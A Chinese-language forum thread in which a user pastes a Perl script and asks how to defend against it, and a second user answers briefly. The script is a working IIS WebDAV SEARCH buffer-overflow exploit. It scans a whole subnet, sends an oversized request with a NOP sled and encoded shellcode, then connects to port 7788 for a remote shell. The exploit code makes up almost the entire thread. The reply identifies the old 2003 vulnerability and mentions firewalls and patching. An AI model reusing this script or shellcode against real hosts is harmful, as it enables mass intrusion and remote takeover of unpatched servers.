求助，如何防范这段代码

mayluck

use IO::Socket;

if ($#ARGV<0){die "webdavx.pl IPNET \r\n";}

$ipnet = $ARGV[0];

$port= 80;



$ret = "%u00d7%u00d7" x 500;

$buf = "A" x 64502;

$jmp = "BBBBBBBBBBqq";# qq=\"\\x71\\x71\" means jno xxxx

$nop = "\\x90" x 40000;

$sc =

"\\x90\\xeb\\x03\\x5d\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x83\\xc5\\x15\\x90\\x90".

"\\x90\\x8b\\xc5\\x33\\xc9\\x66\\xb9\\x10\\x03\\x50\\x80\\x30\\x97\\x40\\xe2\\xfa".

"\\x7e\\x8e\\x95\\x97\\x97\\xcd\\x1c\\x4d\\x14\\x7c\\x90\\xfd\\x68\\xc4\\xf3\\x36".

"\\x97\\x97\\x97\\x97\\xc7\\xf3\\x1e\\xb2\\x97\\x97\\x97\\x97\\xa4\\x4c\\x2c\\x97".

"\\x97\\x77\\xe0\\x7f\\x4b\\x96\\x97\\x97\\x16\\x6c\\x97\\x97\\x68\\x28\\x98\\x14".

"\\x59\\x96\\x97\\x97\\x16\\x54\\x97\\x97\\x96\\x97\\xf1\\x16\\xac\\xda\\xcd\\xe2".

"\\x70\\xa4\\x57\\x1c\\xd4\\xab\\x94\\x54\\xf1\\x16\\xaf\\xc7\\xd2\\xe2\\x4e\\x14".

"\\x57\\xef\\x1c\\xa7\\x94\\x64\\x1c\\xd9\\x9b\\x94\\x5c\\x16\\xae\\xdc\\xd2\\xc5".

"\\xd9\\xe2\\x52\\x16\\xee\\x93\\xd2\\xdb\\xa4\\xa5\\xe2\\x2b\\xa4\\x68\\x1c\\xd1".

"\\xb7\\x94\\x54\\x1c\\x5c\\x94\\x9f\\x16\\xae\\xd0\\xf2\\xe3\\xc7\\xe2\\x9e\\x16".

"\\xee\\x93\\xe5\\xf8\\xf4\\xd6\\xe3\\x91\\xd0\\x14\\x57\\x93\\x7c\\x72\\x94\\x68".

"\\x94\\x6c\\x1c\\xc1\\xb3\\x94\\x6d\\xa4\\x45\\xf1\\x1c\\x80\\x1c\\x6d\\x1c\\xd1".

"\\x87\\xdf\\x94\\x6f\\xa4\\x5e\\x1c\\x58\\x94\\x5e\\x94\\x5e\\x94\\xd9\\x8b\\x94".

"\\x5c\\x1c\\xae\\x94\\x6c\\x7e\\xfe\\x96\\x97\\x97\\xc9\\x10\\x60\\x1c\\x40\\xa4".

"\\x57\\x60\\x47\\x1c\\x5f\\x65\\x38\\x1e\\xa5\\x1a\\xd5\\x9f\\xc5\\xc7\\xc4\\x68".

"\\x85\\xcd\\x1e\\xd5\\x93\\x1a\\xe5\\x82\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\xa4\\x57".

"\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x13\\x5e\\xe3\\x9e\\xc5\\xc1\\xc4".

"\\x68\\x85\\xcd\\x3c\\x75\\x7f\\xd1\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\x1c\\x4f\\xa4".

"\\x57\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x17\\x6e\\x95\\xe3\\x9e\\xc5".

"\\xc1\\xc4\\x68\\x85\\xcd\\x3c\\x75\\x70\\xa4\\x57\\xc7\\xd7\\xc7\\xd7\\xc7\\x68".

"\\xc0\\x7f\\x04\\xfd\\x87\\xc1\\xc4\\x68\\xc0\\x7b\\xfd\\x95\\xc4\\x68\\xc0\\x67".

"\\xa4\\x57\\xc0\\xc7\\x27\\x9b\\x3c\\xcf\\x3c\\xd7\\x3c\\xc8\\xdf\\xc7\\xc0\\xc1".

"\\x3a\\xc1\\x68\\xc0\\x57\\xdf\\xc7\\xc0\\x3a\\xc1\\x3a\\xc1\\x68\\xc0\\x57\\xdf".

"\\x27\\xd3\\x1e\\x90\\xc0\\x68\\xc0\\x53\\xa4\\x57\\x1c\\xd1\\x63\\x1e\\xd0\\xab".

"\\x1e\\xd0\\xd7\\x1c\\x91\\x1e\\xd0\\xaf\\xa4\\x57\\xf1\\x2f\\x96\\x96\\x1e\\xd0".

"\\xbb\\xc0\\xc0\\xa4\\x57\\xc7\\xc7\\xc7\\xd7\\xc7\\xdf\\xc7\\xc7\\x3a\\xc1\\xa4".

"\\x57\\xc7\\x68\\xc0\\x5f\\x68\\xe1\\x67\\x68\\xc0\\x5b\\x68\\xe1\\x6b\\x68\\xc0".

"\\x5b\\xdf\\xc7\\xc7\\xc4\\x68\\xc0\\x63\\x1c\\x4f\\xa4\\x57\\x23\\x93\\xc7\\x56".

"\\x7f\\x93\\xc7\\x68\\xc0\\x43\\x1c\\x67\\xa4\\x57\\x1c\\x5f\\x22\\x93\\xc7\\xc7".

"\\xc0\\xc6\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x47\\x14\\xa8\\x96\\xeb\\xb5\\xa4\\x57".

"\\xc7\\xc0\\x68\\xa0\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x4b\\x9c\\x57\\xe3\\xb8\\xa4".

"\\x57\\xc7\\x68\\xa0\\xc1\\xc4\\x68\\xc0\\x6f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x5f".

"\\xa4\\x57\\xc7\\x23\\x93\\xc7\\xc1\\xc4\\x68\\xc0\\x6b\\xc0\\xa4\\x5e\\xc6\\xc7".

"\\xc1\\x68\\xe0\\x3b\\x68\\xc0\\x4f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x3d\\xc7\\x68".

"\\xc0\\x73\\x7c\\x69\\xcf\\xc7\\x1e\\xd5\\x65\\x54\\x1c\\xd3\\xb3\\x9b\\x92\\x2f".

"\\x97\\x97\\x97\\x50\\x97\\xef\\xc1\\xa3\\x85\\xa4\\x57\\x54\\x7c\\x7b\\x7f\\x75".

"\\x6a\\x68\\x68\\x7f\\x05\\x69\\x68\\x68\\xdc\\xc1\\x70\\xe0\\xb4\\x17\\x70\\xe0".

"\\xdb\\xf8\\xf6\\xf3\\xdb\\xfe\\xf5\\xe5\\xf6\\xe5\\xee\\xd6\\x97\\xdc\\xd2\\xc5".

"\\xd9\\xd2\\xdb\\xa4\\xa5\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xfe\\xe7\\xf2".

"\\x97\\xd0\\xf2\\xe3\\xc4\\xe3\\xf6\\xe5\\xe3\\xe2\\xe7\\xde\\xf9\\xf1\\xf8\\xd6".

"\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\xd6\\x97".

"\\xd4\\xfb\\xf8\\xe4\\xf2\\xdf\\xf6\\xf9\\xf3\\xfb\\xf2\\x97\\xc7\\xf2\\xf2\\xfc".

"\\xd9\\xf6\\xfa\\xf2\\xf3\\xc7\\xfe\\xe7\\xf2\\x97\\xd0\\xfb\\xf8\\xf5\\xf6\\xfb".

"\\xd6\\xfb\\xfb\\xf8\\xf4\\x97\\xc0\\xe5\\xfe\\xe3\\xf2\\xd1\\xfe\\xfb\\xf2\\x97".

"\\xc5\\xf2\\xf6\\xf3\\xd1\\xfe\\xfb\\xf2\\x97\\xc4\\xfb\\xf2\\xf2\\xe7\\x97\\xd2".

"\\xef\\xfe\\xe3\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\x97\\x97\\xc0\\xc4\\xd8\\xd4".

"\\xdc\\xa4\\xa5\\x97\\xe4\\xf8\\xf4\\xfc\\xf2\\xe3\\x97\\xf5\\xfe\\xf9\\xf3\\x97".

"\\xfb\\xfe\\xe4\\xe3\\xf2\\xf9\\x97\\xf6\\xf4\\xf4\\xf2\\xe7\\xe3\\x97\\xe4\\xf2".

"\\xf9\\xf3\\x97\\xe5\\xf2\\xf4\\xe1\\x97\\x95\\x97\\x89\\xfb\\x97\\x97\\x97\\x97".

"\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\xf4\\xfa\\xf3\\xb9\\xf2\\xef\\xf2\\x97".

"\\x68\\x68\\x68\\x68";

# split ip address



for ( $x=1; $x<=254; $x++) {

$host = ($ipnet =~/\.$/)?$ipnet."$x"ipnet."\.$x";

print "Start to connect to $host\r\n";

if($socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM)){

print "Connect to $host is OK!\r\n";

print $socket "SEARCH /$ret$buf$jmp HTTP/1.0\r\n";

print $socket "Host: ISNO\r\n";

print $socket "Content-Type: text/xml\r\n";

print $socket "Content-length: 40804\r\n\r\n";

print $socket "$nop$sc\r\n";



print "send buffer...\r\n";

print "telnet target 7788\r\n";



close($socket);



print "Start to connect to $host:7788\r\n";

$telnet = "7788";

if($socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $telnet, Proto => "tcp", Type =>SOCK_STREAM)){

print "Connect to $host:7788 is OK! Good luck!";



close($socket);

}

else{

warn "Couldn't connect: $host:7788 \n";

next;

}

}

else {

warn "Couldn't connect: $host \n";

next;

}

}

bobkey

webdav溢出攻击？shellcode不知道写的什么。
溢出后telnet到7788端口获得shell，那么你如果在防火墙后怕什么，它进不来。
再说这个漏洞是03年的了，你不会现在还没hotfix吧。